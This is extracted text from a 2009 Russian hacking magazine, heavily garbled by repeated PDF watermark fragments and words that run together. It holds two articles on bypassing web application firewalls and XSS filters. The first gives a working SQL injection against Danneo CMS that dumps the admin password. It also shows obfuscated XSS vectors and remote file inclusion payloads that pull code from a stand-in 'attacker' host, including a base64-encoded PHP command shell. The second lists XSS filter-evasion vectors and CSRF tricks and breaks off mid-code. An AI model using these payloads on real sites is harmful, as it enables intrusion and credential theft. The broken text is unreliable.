книги хакеры / журнал хакер / 130_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY |
|
m |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
XSS ВGOOGLE CHROME
нулл-байту функции eregi(), поэтому для обхода проверки достаточно вставить в начале параметра %00. Даже при включенной директиве PHP magic_quotes_gpc нулл-байт не будет экранироваться, так как присутствует такой код:
if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)) { @extract($_COOKIE,EXTR_SKIP); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_REQUEST,EXTR_SKIP);
/* ... */ if(get_magic_quotes_gpc()) {
if($_POST) $_POST = stripslashesall($_ POST);
if($_GET) $_GET = stripslashesall($_GET); if($_REQUEST) $_REQUEST =
stripslashesall($_REQUEST); if($_COOKIE) $_COOKIE =
stripslashesall($_COOKIE);
}
Здесь важно отметить, что все данные, полученные напрямую из суперглобальных массивов ($_GET, $_POST, $_COOKIE, $_REQUEST), будут очищены от экранирующих символов, в то время как переменные, ранее введенные в локальное пространство из тех же массивов функцией extract(), останутся как есть. Уже на этом этапе видна несогласованность кода. Сама же SQL-инъекция находится в модуле голосований при добавлении комментариев:
$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],T HIS_INT)==1 && preparse($usermain['userid' ],THIS_INT)>0) ? $usermain['uname'] : subs tr(deltags($comname),0,50); $comtitle=substr(deltags($comtitle),0,255); $in=$db->query("INSERT INTO "
.$basepref."_polling_comment VALUES (NULL,'".$id."','".$usermain ['userid']."','".NEWTIME."', '$comname', '$comtitle','$comtext','".REMOTE_ ADDRS."')");
Уязвимость возникает после того, как значение пере-
менной comtitle обрезается функцией substr() до 255 символов. Ошибка разработчиков состоит в том, что данные сперва экранируются и только потом приводятся к требуемой длине, хотя должно быть наоборот. Это дает возможность проведения фрагментированной SQL-инъекции, несмотря на экранирование входящих данных при magic_quotes_gpc=on.
Для проведения успешной атаки необходимы следующие значения параметров:
•comname — a-z значение от 5 символов до 10;
•comtitle — 254 символа + кавычка;
•comtext — /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -
Последним символом в значении переменной comtitle будет обратный слэш, который экранирует следующую за ним кавычку, что позволит выполнить код в переменной comtext. В итоге, получится SQL-запрос:
INSERT INTO dn052_polling_comment VALUES (NULL,'1','0','1230987393', 'antichat','a[252x]b\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')
При просмотре страницы с комментариями в поле текста сообщения будет отображен пароль администратора.
СЛЕПЫЕ SQL-ИНЪЕКЦИИ
При проведении слепых SQL-инъекций грамотный WAF
— серьезное препятствие. Однако получить информацию из базы данных все же возможно при использовании альтернативных имен операторов и конструкций синтаксиса. Например, для MySQL применимы такие варианты:
В ситуациях, когда производится фильтрация по наличию того или иного символа в параметре, также есть свои альтернативы в зависимости от RDBS.
DVD |
dvd
•Всематериалывыступлений, инструменты, упомянутые встатье, атакже подборкабесплатных WAF доступнына диске.
•Демонстрациюуяз-
вимостивDanneo CMS
смотринаDVD.
HTTP://WWW
links
•www.webappsec. org — Web Application Security Consortium (WASC).
•ru.wikipedia.org/ wiki/Сетевая_модель_OSI.
•xiom.com — ресурс,
посвященныйисключительноWAF.
•code.google.com/p/ waffit — проект wafw00f.
•w3af.sourceforge.net
— фреймворкw3af.
•www.netnea.com/ cms/?q=remo — GUI-
редакторправил
Remo.
XÀÊÅÐ 10 /130/ 09 |
059 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|||||||
|
|
|
|
|
BUY |
|
|
ВЗЛОМ |
||||
|
|
|
|
to |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
o |
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
df |
|
|
|
|
e |
|
|
||
|
|
|
|
|
g |
|
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
ОБХОД РАЗЛИЧНЫХ ФИЛЬТРАЦИЙ |
XSS
Cross site scripting является, пожалуй, самым обширным полем для новых идей по обходу WAF. Это обуславливается необычайной гибкостью языка JavaScript и адаптивностью браузеров к некорректному формату HTML. На прошедшей в августе конференции BlackHat была представлена работа по проведению XSS в условиях WAF. В презентации упомянуто большое количество трюков, позволяющих обмануть фильтры. Среди них:
<object
data="javascript:alert(0)">
<isindex
action=javascript:alert(1)
type=image>
<img src=x:alert(alt) onerror=eval(src) alt=0> <x:script xmlns:x="http://www. w3.org/1999/xhtml">alert('xss');</ x:script>
Самым интересным вектором оказался:
($=[$=[]][(__=!$+$)[_=-~-~- ~$]+({}+$)[_/_]+($$=($_=!''+$) [_/_]+$_[+$])])()[__[_/_]+__ [_+~$]+$_[_]+$$](_/_)
Выглядит устрашающе, не правда ли? На самом деле, код эквивалентен alert(1); подробный его разбор доступен здесь — http:// oxod.ru/?p=290.
Еще одна работа, которую стоит отметить — это статья о внедрении JS-кода в
HTTP-заголовки refresh и location (http:// websecurity.com.ua/3386). Следующий вектор из этой статьи может служить еще одним способом обхода WAF:
/?param=data:text/html;base64,PHNj
cmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
alert(1), представленный в base64, выполнится в Opera, Safari и Chrome, если значение параметра попадет в атрибут URL заголовка refresh:
...
Refresh 0; URL = data:text/html;b
ase64,PHNjcmlwdD5hbGVydCgxKTwvc2N
yaXB0Pg==
...
Перечислять все возможные способы обхода WAF для проведения XSS можно очень долго, поэтому лучше поделюсь ссылками на сайты, где собственно и рождаются новые векторы:
•http://ha.ckers.org/xss.html — многим знакомый XSS Cheat Sheet; много старья, но автор RSnake обещал в скором времени обновить список;
•http://sla.ckers.org/forum/list.php?24 —
исключительно новые векторы от пользователей одного из самых лучших форумов по веб-безопасности;
•http://maliciousmarkup.blogspot.com —
блог по теме нестандартных способов выполнения JS-кода; жаль, почти не обновляется.
PATH TRAVERSAL/LFI/RFI
Почти все векторы из этой категории атак связаны с нулл-байтом, который распознают практически все WAF. Но и здесь появился новый способ, позволяющий отбросить расширение файла без использования ядовитого байта. Этот метод был обнаружен одним из пользователей форума sla.ckers.org и получил развитие в работах итальянской команды
USH.
Суть заключается в многократном повторении символа «/» после имени файла. Реализация атаки во многом зависит от платформы, наличия Suhosin patch и других обстоятельств. Допустим, есть уязвимый код:
<?php include("includes/" . $_ GET["inc"]. ".php");
?>
WAF не пропустит %00 в параметре inc, однако с новым способом возможен инклуд произвольных файлов:
/?inc=../.htpasswd////...4096...
///
Более подробно о таких атаках читай в моем блоге: raz0r.name/articles/null-byte- alternative.
Что касается Remote File Include (RFI), то атаки следующего вида давно стали легкой добычей WAF:
/?inc=http://attacker/s.txt?
060
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВИЗУАЛЬНОЕСОЗДАНИЕПРАВИЛ ДЛЯMOD_SECURITY ВREMO
С проблемой легко справляются следующие возможности PHP:
- Доступ по FTP:
/?inc=ftp://attacker/s.txt
Причем функция file_exists() вернет true. - Доступ к необработанным POST-данным
(только при allow_url_include=on):
POST /?inc=php://input HTTP/1.0
Host: localhost
Content-type: text/plain
Content-Length: 10
Connection: close
phpinfo();
- Использование враппера data (allow_url_ include=on):
/?inc=data:;base64,PD9waHAgc3lzdGV
tKCRfR0VUW2NdKTsgPz4=&c=dir
- А также compress.
zlib://, php://filter, ogg:// è äð.
ЗАКЛЮЧЕНИЕ
РазвитиеWebApplicationFirewallнестоитнаместе.
Вместестемпоявляютсявсеновыеметодыобхода различныхограничений.Будьтопростенькийфильтр наPHPилижемогучийWAF—придетальномрассмо- трениииупорноманализеубеждаешься,чтоничтоне лишенослабыхмест.Когдаэксплуатированиеуязви- мости,обнаруженнойвкаком-либовеб-приложении, становитсязатруднительнымввиду,казалосьбы, непреступнойзащитыWAF,нестоитбросатьначатое дело.Нужнолишьвникнутьвтонкостиработысистемы,итогдаверныйпутьстанеточевидным.z
XÀÊÅÐ 10 /130/ 09
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Ðå ê ë à ì à
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
w Click |
|
|
|
|
|
|
ВЛАДИМИР «D0ZNP» ВОРОНЦОВ HTTP://OXOD.RU |
|||||
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
o |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
СХЕМАОБХОДАFIREWALL
СПОМОЩЬЮXSS. БЛИЗКОКСЕРДЦУ НЕПРИНИМАТЬ
СКАЗКИ XSSАХИРИЗАДЫ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
1000 И1 СПОСОБОБОЙТИXSS-ФИЛЬТР
Янеперестаюудивлятьсяэтомумиру! Еслибыдвенеделиназадктонибудьсказалмне, чтоябудуписатьстатьювz, посвященнуюмежсайтовомускриптингу— ябырассмеялсяипопросилэтойчуднойлебеды. Ножизньнатоижизнь, чтобынеподдаватьсяпрогнозам, автвоих рукахсейчасматериальноедоказательствоэтогофакта. Неторопись пролистыватьстатью! Какпоказалапрактика, дажеопытныеспециалистыпринаписаниифильтровнеучитываютмножествавариантов, ограничиваясьлишьтем, чтоможнонайтинаha.ckers.org/xss.html.
29 АВГУСТА, 12:00, ПИТЕР |
конкурсантов— обойтифильтрипоказать |
скоронахожупервыйвариантатаки, минутче- |
ВрамкахфестиваляChaos Construction |
примеродногоизстандартныхвидоватаки. |
рез30 — второй. Получается, чточерезфильтр |
2009 стартуетконкурсRealtime Bitrix WAF |
Сайтзаведомосодержитуязвимости, нополь- |
проходятследующиестроки: |
Hack. Организаторы— «1С-Битрикс» и |
зовательскиеданныефильтруютсяWAF. Меня |
|
Possitive Technologies. Смыслзатеи— про- |
привлекаетэксплуатацияXSS толькопотому, |
<style> |
тестироватьфильтрпроактивнойзащиты |
чтодляконкурсаHack-Video янашелXSS-уяз- |
@\69\6D\70\6F\72\74 url(http:// |
WebApplicationFirewall. Эташтуковинаобраба- |
вимостьвполеReferer боевого«Битрикса» |
onsec.ru/xss.css); |
тываетданные, поступающиеотпользователя |
версии8.0.5. Банальные><script> иonMouse* я |
</style> |
(http-заголовкииGPC) напредметналичия |
ужепопробовалдома, такчтоначинаюрытьсяв |
style=onsec:e\xp\re\s\ |
внихSQL-injection, XSS, LFI иRFI. Задача |
памятиипробуювариантыпохитрее. Довольно |
s\i\o\n(alert(‘XSS’)) |
|
|
|
062 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
HTML-ТРЮКИСОЗНАМЕНИТОЙ ПРЕЗЕНТАЦИИНАТЕМУXSS C BLACKHAT 2009
ЭтивариантыпроверяюподIE 7. Какпотомоказалось, второйещеиобходитвстроенныйфильтр XSS IE8. Наулицестоитболеечемхорошая погодадляавгустовскогоПитера, — поэтомуна большееменянехватает. Вечеромследующего днявыясняется, чтомоипопыткибылисамыми плодотворными. Этотфактменянеперестает удивлятьдосихпор, иименноонявляетсяосновойпричинойнаписаниястатьи.
7 СЕНТЯБРЯ, 01:00, МОСКВА
Немногоотойдяотпроизошедшегоиполучив внаградуHTC-шкуот«Битрикс», японял, что менягложетинтереснайтиещечто-нибудьв пресловутомWAF (затративнапоискине40 минут, ахотябыполторачаса). Кэтомувремени фильтружезалатали, style теперьнепропускаетниввидетэга, ниввидеатрибута. Фокусс escape-кодированиемтоженепроходит, равно каки\. Спокойночитаюспецификацию набраузерыинахожуприятнуювозможность использоватьbehavior подIE, которойтакине сумелвоспользоватьсянаСС09 ввидуотсутс-
твиялокальногофайланужногоконтента:
<P STYLE="b\eh\a\v\i& #92o\r:url('#default#time2')"
MSDN — КЛАДЕЗЬЗНАНИЙ. ЕСЛИ НАДОНАЙТИНЕФИЛЬТРУЕМЫЙ EVENT — ТЕБЕСЮДА
ОНЛАЙН-СЕРВИСJJ-ENCODE ДЛЯ ПРИДАНИЯJAVASCRIPT ЗАКОН-
ЧЕННОГОВИДА:)
onEnd="alert('ONSEC.ru russian security team')">
Вмоейверсиифильтраонауженеработает, нонаконкурсебылабыкакразвтему. Затем нашласьещеоднанефильтруемаяXSS:
<MARQUEE BEHAVIOR="alternate" onbounce="alert('ONSEC.ru')">xss </MARQUEE>
èëè
<MARQUEE onstart="alert('ONSEC. ru')">xss</MARQUEE>
ВотличиеотbehaviorтакоеработаетивIE8,ив FF3.5.Послеэтогоот«несистемного»подходак поискууязвимостейяотказываюсь.Формализую задачупоискавозможныхXSSдопоисканефильтруемыхтэгов,атрибутовизначенийатрибутов.
АТРИБУТЫ
Сточкизренияхакеранаиболееинтересныатрибутысобытий(Events), потомучтоэтопрямой способквыполнениюJavaScript-кодабезтэга <script>. Болеетого, длябраузеровсовершенноэквивалентыследующиеварианты:
<a href="" onMouseMove="alert(1)"> <a href="" onMouseMove=”javascript: alert(1)">
<a href="
onMouseMove="xakep:alert(1)"> <a href="" onMouseMove="nonxss:alert(1)">
ЭтоточноработаетивIE 8, Opera 10.00, Firefox 3.5, Safari, Chrome. Какдумаешь, всефильтры имеютправильныерегулярныевыражения подтакиестроки? Большинстводействительноимеют, поэтомупростонамотаемнауси двинемсядальше.
Уатрибутовсобытийтринедостатка:
1.Вызовпроисходитпослечего-то, иэто«чтото» частотребуеткаких-тодействийсостороны пользователя.
2.Всеатрибутысобытийначинаютсяна
«on», — чтотеоретическипозволяетнаписать регулярноевыраженияподнихвсех.
3.Обычноониприменимытолькокопределеннымтэгам.
Расстраиватьсятутнезачем— ещениодин фильтрнеимеетрегулярноговыраженияпод всесобытиясразу. Связаноэто, преждевсего, сложнымисрабатываниями, нообэтомпозже. Такчто— фильтруютсяобычноконкретные события, итутиз-засобственнойленипро- граммистызабываютпрочитатьспецификации браузеровилихотябыMSDN, ограничиваясь
двумя-тремя, влучшемслучаедесятьюсобытиями. Асколькоихнасамомделе? Наэтотвопрося тожехотелбызнатьответ, нодляегополучения требуется, какминимум, собратьвместевсе версиивсехсуществующихбраузеровирасковырятьих, потомучтовдокументациитожене всегдавсеописано. Нижеяприведунаиболее полныйсписок, которыйсобиралпокрупицам:
Onabort; onactivate; onafterprint; onafterupdate; onbeforeactivate; onbeforecopy; onbeforecut; onbeforedeactivate; onbeforeeditfocus; onbeforepaste; onbeforeprint; onbeforeunload; onbeforeupdate; onblur; onbounce; oncellchange; onchange;
onclick; oncontextmenu; oncontrolselect; oncopy; oncut; ondataavailable; ondatasetchanged; ondatasetcomplete; ondblclick; ondeactivate; ondrag; ondragdrop; ondragend; ondragenter; ondragleave; ondragover; ondragstart; ondrop; onerror; onerrorupdate; onfilterchange; onfinish; onfocus;
onfocusin; onfocusout; onhashchange; onhelp;
onkeydown; onkeypress; onkeyup; onlayoutcomplete; onload;
onlosecapture; onmessage; onmousedown; onmouseenter; onmousemove; onmouseout; onmouseover; onmouseup; onmove; onmoveend; onmovestart; onoffline; ononline;
onpage; onpaste; onprogress; onpropertychange; onreadystatechange; onreset; onresize; onresizeend; onresizestart; onrowenter; onrowexit; onrowsdelete; onrowsinserted; onscroll; onselect; onselectionchange; onselectstart; onstart; onstop;
onstorage; onstoragecommit; onsubmit; ontimeerror; ontimeout; onunload;
onend; onMediaComplete; onMediaError; onOutOfSync; onPause; onRepeat;
onResume; onReverse; onSeek; onSynchRestored; onTrackChange; onURLFlip.
Нучто, несколькобольшечемтыожидал? Это ещедаженевесьсписоктого, чтоясобрал, не-
XÀÊÅÐ 10 /130/ 09 |
063 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
WARNING |
info
Внимание! Информацияпредставлена исключительно сцельюознаком-
ления! Ниавтор, ни редакциязатвои действияответственностиненесут!
HTTP://WWW
links
•oxod.ru — мой блог. Пишупомере желания. Ждукомментариев, отвечуна вопросы.
•utf-8.jp/public/ jjencode.html — сер-
виспошифрованию
JavaScript.
•p42.us/favxss/fav. ppt — презентация
XSS filters bypass сBlackHat 2009.
•disenchant.ch/ blog/wp-content/ uploads/2008/05/ xss_presentation.pdf
— довольнобольшая, нонеоченьинтереснаяпрезентацияпо
XSS.
•slideshare.net/ guestdb261a/ csrfrsa2008 jeremiah grossman-
349028 — рекомендую ознакомиться сматериаламина темуCSRF.
ДЕМОНСТРАЦИЯИДЕИCLICKJACKING
которыекускипотерялись;). Потенциальнокаждаястрочка изэтогосписка— XSS-уязвимость. Но, во-первых, невсегда удается«прислонить» еекнужномуатрибуту, аво-вторых, невсегдаудаетсяспровоцироватьнужноедлявыполнения кодадействие. НарядуссобытиямидляXSS-атакимогут использоватьсяидругиеатрибуты. Вотизвестныемне:
codebase dynsrc lowsrc xmlns
seekSegmentTime src
style
Невсеизнихтривиальномогутбытьиспользованы, однако, когдаисследуешьфильтр, незнаешьзаранееничегоинадо собратькакможнобольшенефильтруемыхисключений, чтобыпотомизнихужеготовитьконкретнуюатаку.
ТЕГИ
Предположим, фильтрдаетвозможностьвыводитьна страницусимволы<>, такимобразом, можнопробоватьразличныетеги. Здесьопятьразработчикиоставляютхакерам поледлядействий. Вотсписоктегов, которыепригодятся:
Style
Script
Embed
Object
Applet
Meta
Iframe
Frame
Frameset
Ilayer
Layer
Bgsound
Base
Xml
Import
Link
Html
Img
Яневключаюсюдатотже<MARQUEE>, хотявышесам приводилатакусегопомощью. Делаюэтоумышленно— по тойжелогикеможнобыловключитьсюдавообщевсетеги
ЕСЛИХАКЕРСТАВИТПЕРЕД СОБОЙЦЕЛЬПОЛУЧИТЬ ПОЛЬЗУОТXSS-АТАКИ,ОН СДЕЛАЕТВРЕДОНОСНЫЙ КОДКОМБИНИРОВАННЫМ.
HTML. Такжевэтомспискеестьархаизмывроде<ilayer>, — я даженеберусьсказать, начинаяскакихверсий, популярные браузерыпересталиегоподдерживать. Однаконезабывай: XSS — этоиграсбраузероминенадопренебрегатьлюбой возможностью. Еслихакерставитпередсобойцельполучить пользуотXSS-атаки, онобязательносделаетвредоносныйкодкомбинированным, включитнесколькотеговпод разныеверсииразныхбраузеров. Пригодитсяссылкаwww. browsertests.org, — тамможнонайтирезультатытестированиямногихатрибутовитеговвразличныхбраузерах.
CSRF, ИЛИНЕJAVASCRIPT’ОМ ЕДИНЫМ
КромевыполненияJavaScript (нуилитогожеVBScript) кода, схожиеатакимогутприменятьсядляотправки запросовбезведомапользователя. Ониполучилина-
званиеCross-Site Request Forgery. Самыйтривиаль-
ныйспособ— <img src=http://megasite.ru/
mygetrequest?mygetparam=value>. Приобработке такоготегавнутрилюбойHTML-страницыбраузерпользова- телясразуполезетискатькартинкупоадресу, тоестьотправит тудаHTTP GET запрос. Такимобразом, можно, например, попробоватьотправитьзапроскадминке, еслионатакая небезопасная, чтопринимаетGET. Администраторзаходит настраницуиегобраузерлезетискатькартинку, отправляя запросадминистративномускрипту(разумеется, справиль- нымикукисамиадминистратораиотегоIP-адреса). Если фильтруютсярасширенияилиключевыесловазапроса— не беда. Такая«защита» выеденногояйцанестоит. Согласно спецификацииhttp-протокола, статус3ххговоритоперемещенииконтентаинадопослатьзапроснауказанныйадрес. Создаемскриптimg.php (можноиimg.gif, настроивсвойвебсерверсоответствующимобразом) следующегосодержания:
<?php
